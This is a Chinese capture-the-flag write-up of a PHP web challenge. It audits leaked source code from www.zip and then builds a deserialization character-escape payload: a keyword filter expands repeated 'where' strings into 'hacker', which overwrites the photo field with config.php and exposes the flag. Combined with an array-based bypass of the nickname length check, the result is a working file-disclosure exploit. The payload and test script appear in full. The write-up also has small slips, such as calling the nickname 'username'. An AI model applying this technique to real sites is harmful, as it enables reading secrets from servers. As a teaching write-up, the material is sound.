考查知识点:源码泄露,php反序列化字符逃逸,数组进行长度绕过
目录
解题过程
源码泄露
www.zip
下载后,得到后端源码
代码审计
class.php中存在许多函数
<?php
require('config.php'); //class.php是好多个php函数的集合,其他函数通过request函数进行包含即可使用这些函数
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password)); //注意这里对md5进行加密,这是个很好的知识点,如果建站的时候,将密码进行md5加密,就算被脱库,仍然有很大的安全性
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) { //对特殊字符进行过滤,存在php反序列化漏洞
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) { //存在php反序列化漏洞
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
config.php中有flag
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
profile.php中存在文件包含漏洞
<?php
require_once('class.php');
if($_SESSION['username'] == null) //这个应该是通过session判断是否登录,然后根据这个来判断是回去登录,还是继续运行代码
{
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
index.php
<?php
require_once('class.php');
if($_SESSION['username']) {
header('Location: profile.php');
exit;
}
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if($user->login($username, $password)) {
$_SESSION['username'] = $username;
header('Location: profile.php');
exit;
}
else {
die('Invalid user name or password');
}
}
else {
?>
register.php
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];
if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');
if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>
update.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone'])) //对十一位数字进行匹配
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) //正则匹配,对email进行匹配
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) //对昵称长度进行限制
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000) //对图片进行限制
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
1. class.php存在很多函数,其余文件通过包含class.php进行调用函数。
2. config.php中存在flag
3. index.php和register.php是基本的登录功能和注册功能,不过对输入的数据进行了些匹配或限制罢了
4. update.php可以更新用户数据,将phone,email,nickname,photo四个数值放入$profile数组中,同时进行关键词过滤和序列化操作
5. profile.php中将用户的信息展示出来,值得注意的是,如果$profile['photo']=config.php,那么config.php就会在profile.php中展示出来,flag当然也在其中!!!!
大致思路
首先创建账号register.php——>登录index.php——>更新用户信息update.php——>将得到的config.php进行base64解码profile.php
1. 创建账号,并且登录
2. 更新用户信息
我们的本意是令$profile['photo']=config.php,但是后台对输入的信息进行了md5加密,所以不能直接修改用户信息
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) //对昵称长度进行限制
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000) //对图片进行限制
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
我们看到后台对$profile进行了序列化操作,并且执行了update_profile()函数,追溯
public function update_profile($username, $new_profile) { //对特殊字符进行过滤,存在php反序列化漏洞
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
其中含有filter()函数,继续追溯
public function filter($string) { //存在php反序列化漏洞
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
}
可以看到,更新用户信息之前会对序列化后的字符串中的关键词进行替换,值得注意的是这里关键词where替换为hacker,会导致字符串增加1,这样就需要php反序列化字符逃逸的知识
首先正常情况下,我们用户的信息大致是这样的
<?php
$profile['phone'] = "12345678901";
$profile['email'] = "123456@qq.com";
$profile['nickname'] = array(0=>'123');
$profile['photo'] = 'upload/' . md5("1.jpg");
print_r($profile);
$a = serialize($profile);
echo $a;
而使用php反序列化字符串逃逸,我们可以利用后台将where替换为hacker的时候制造的字符串长度增加,使得nickname中的部分字符串占据photo的位置,并且进行截断,就可以使得photo变为我们想要的值
首先我们需要保持username的字符串长度不大于10,可以使用数组绕过,令username为一个数组即可
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) //对昵称长度进行限制
die('Invalid nickname');
如下,可以看到,虽然会warning,但是可以执行,并且绕过
正常情况下,序列化后的字符串为
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
但是我们进行php反序列化字符串逃逸的时候,nickname的末尾应该是";}s:5:"photo";s:10:"config.php";},也就是
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:13:"123456@qq.com";s:8:"nickname";a:1:{i:0;s:3:"123";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}
但是这样造成不了截断,因为nickname的长度不一致,反序列化时还是会在原来的位置进行截断
所以需要where替换为hacker,造成字符串长度增加
string(34) "";}s:5:"photo";s:10:"config.php";}"
我们需要的时34个字符长度,而每一个where替换为hacker都会增加一个字符长度,所以需要34个where被替换。
构造payload:
<?php
function filter($string) { //存在php反序列化漏洞
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string); //where替换为hacker,长度会发生变化
}
$profile['phone'] = "12345678901";
$profile['email'] = "123456@qq.com";
$profile['nickname'] = array(0=>'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}');
$profile['photo'] = 'upload/' . md5("1.jpg");
print_r($profile);
$a = serialize($profile);
echo $a;
$b = filter($a);
echo $b;
print_r(unserialize($b));
结果如下,可以看到,生效,$profile['photo']=config.php
Array
(
[phone] => 12345678901
[email] => 123456@qq.com
[nickname] => Array
(
[0] => wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
)
[photo] => upload/f3ccdd27d2000e3f9255a7e3e2c48800
)
Array
(
[phone] => 12345678901
[email] => 123456@qq.com
[nickname] => Array
(
[0] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
)
[photo] => config.php
)
开始拿flag
在更新用户的界面,burpsuite进行抓包
修改信息,将username修改为数组username[],并将username[]的信息修改为
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
回显,修改信息成功,查看profile.php
将base64编码的字符串进行解码操作,得到flag